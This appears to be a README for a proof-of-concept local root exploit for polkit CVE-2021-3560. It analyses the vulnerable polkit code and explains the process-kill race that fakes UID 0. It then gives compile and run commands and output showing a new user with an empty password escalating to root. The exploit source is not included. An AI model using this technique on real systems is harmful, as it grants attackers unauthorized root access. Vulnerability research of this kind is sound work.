a reliable C based exploit for CVE-2021-3560.
Yestreday i stumbled upon this blog post by Kevin Backhouse (discovered this vulnerability), i tried the bash commands provided in the blogpost and to my surpise it worked on my Kali Linux box!
CVE-2021-3560 is an authentication bypass on polkit, which allows an unprivileged user to call privileged methods using DBus, the PoC exploits this bug to call 2 privileged methods provided by accountsservice (CreateUser and SetPassword), which allows us to create a priviliged user then setting a password to it.
polkit checks if the caller is authorized to call such method, it does so by checking first the user id of the caller, if it is zero then the caller is assumed to be root and the action is allowed without asking for authentication, otherwise it asks for the password of the user.
polkit_system_bus_name_get_creds_sync() function invokes to 2 methods to get the UID and PID of the caller GetConnectionUnixUser and GetConnectionUnixProcessID, the result of this calls is written to the data struct of type AsyncGetBusNameCredsData (this struct is intialized to 0) by the callback function on_retrieved_unix_uid_pid(), and polkit_system_bus_name_get_creds_sync() blocks while waiting for the callback function to set an error or the UID and PID.
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
{
gboolean ret = FALSE;
AsyncGetBusNameCredsData data = { 0, }; // intialize to 0
GDBusConnection *connection = NULL;
GMainContext *tmp_context = NULL;
connection = g_bus_get_sync (G_BUS_TYPE_SYSTEM, cancellable, error);
if (connection == NULL)
goto out;
data.error = error;
tmp_context = g_main_context_new ();
g_main_context_push_thread_default (tmp_context);
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixUser", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, // callback funtion
&data); // data is passed to the callback function along with the reply from the method
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixProcessID", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, // callback funtion
&data); // data is passed to the callback function along with the reply from the method
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // block while on_retrieved_unix_uid_pid() is not called yet
g_main_context_iteration (tmp_context, TRUE);the callback function on_retrieved_unix_uid_pid() is invoked after each method call to retirive the reply (UID and PID) or set an error, this function calls g_dbus_connection_call_finish() to retrive the reply if an error is occured then it sets data.caught_error to TRUE and returns (data.uid and data.pid are still set 0). otherwise it assign the retrieved value (UID or PID) to data.uid or data.pid (depends on what value is retrieved) then returns.
static void
on_retrieved_unix_uid_pid (GObject *src, // connection
GAsyncResult *res, // Async result object
gpointer user_data) // data paramter passed from previous function
{
AsyncGetBusNameCredsData *data = user_data;
GVariant *v;
v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
data->caught_error ? NULL : data->error); // finish and get the reply
if (!v) // error ??
{
data->caught_error = TRUE;
}
else
{
guint32 value;
g_variant_get (v, "(u)", &value); // unpack the reply, get UINT32 (u)
g_variant_unref (v);
if (!data->retrieved_uid) // GetConnectionUnixUser method
{
data->retrieved_uid = TRUE;
data->uid = value;
}
else
{
g_assert (!data->retrieved_pid); // GetConnectionUnixProcessID method
data->retrieved_pid = TRUE;
data->pid = value;
}
}
}GetConnectionUnixUser and GetConnectionUnixProcessID methods will return the UID and PID if found (caller process is still connected to the bus), or an error if an error occured (e.g: caller process killed).
once data.uid and data.pid are set or data.caught_error is set the function polkit_system_bus_name_get_creds_sync() will continue and here where the vulnerabilty exists, polkit_system_bus_name_get_creds_sync() does not return an error if data.caught_error is set, instead it set whatever value is in data.uid to out_uid and returns TRUE (even if data.caught_error is set). out_pid is a pointer to a guint32 variable passed to polkit_system_bus_name_get_creds_sync() when called by polkit_system_bus_name_get_user_sync():
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid, // pointer
guint32 *out_pid, // NULL
GCancellable *cancellable,
GError **error)
{
[snip]
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // wait for the callback function to handle reply
g_main_context_iteration (tmp_context, TRUE);
if (out_uid) // TRUE
*out_uid = data.uid; // set it even if there is an error [!]
if (out_pid) // FALSE
*out_pid = data.pid; // set it even if there is an error [!]
ret = TRUE; // return TRUE even if there is an error [!]
out:
if (tmp_context)
{
g_main_context_pop_thread_default (tmp_context);
g_main_context_unref (tmp_context);
}
if (connection != NULL)
g_object_unref (connection);
return ret;exploitation:
if the a process A calls a priviliged method using DBus, then polkit will check the UID of the caller, if process A exits imidiatly after it sends the message, then the methods GetConnectionUnixUser and GetConnectionUnixProcessID will return an error because the caller process does not exist anymore. the callback function on_retrieved_unix_uid_pid() will set data.caught_error to TRUE, data.uid and data.pid will remain unchanged (which means they will be both set to 0 as the data struct is intiailized to 0). the function polkit_system_bus_name_get_creds_sync() will continue the execution and sets out_uid to data.uid (0), and return TRUE.
a couple of function will keep returning the fake UID (0), until polkit_backend_session_monitor_get_user_for_subject() returns user_of_subject (built from the fake UID) to check_authorization_sync() function, which checks if the UID is root by calling identity_is_root_user(user_of_subject) which will return TRUE and process A will be authorized.
static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority *authority,
PolkitSubject *caller,
PolkitSubject *subject,
const gchar *action_id,
PolkitDetails *details,
PolkitCheckAuthorizationFlags flags,
PolkitImplicitAuthorization *out_implicit_authorization,
gboolean checking_imply,
GError **error)
{
[snip]
user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
subject, NULL,
error);
if (user_of_subject == NULL) // false
goto out;
/* special case: uid 0, root, is _always_ authorized for anything */
if (identity_is_root_user (user_of_subject)) // true
{
result = polkit_authorization_result_new (TRUE, FALSE, NULL); // authorize the caller
goto out;
}
[snip]
I decided to write a PoC using dbus C API, i didn't use sleep() while waiting for the message to be sent to the target service, instead, DBus functions provide a timeout paramter, so by (ab)using this parameter we can force the function to return just after it sends the message, then killing the process, this will allow us to exploit the vulnerability on polkit and bypass the authentication. refer to this blog post for the technical details.
- compile the exploit:
user@host: gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
- run the exploit:
user@host: ./exploit
- Output:
user@host:~/CVE-2021-3560-testing$ gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
user@host:~/CVE-2021-3560-testing$ ./exploit
[*] creating "pwned-1624301069" user ...
[!] user has been created!
[*] user: pwned-1624301069, uid: 1007
[*] setting an empty password for "pwned-1624301069" user..
[*] an empty password has been set for "pwned-1624301069" user!
[!] run: "sudo su root" as "pwned-1624301069" user to get root
┌──(pwned-1624301069㉿host)-[/home/user/CVE-2021-3560-testing]
└─$ sudo su root
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
root@host:/home/user/CVE-2021-3560-testing# id
uid=0(root) gid=0(root) groups=0(root)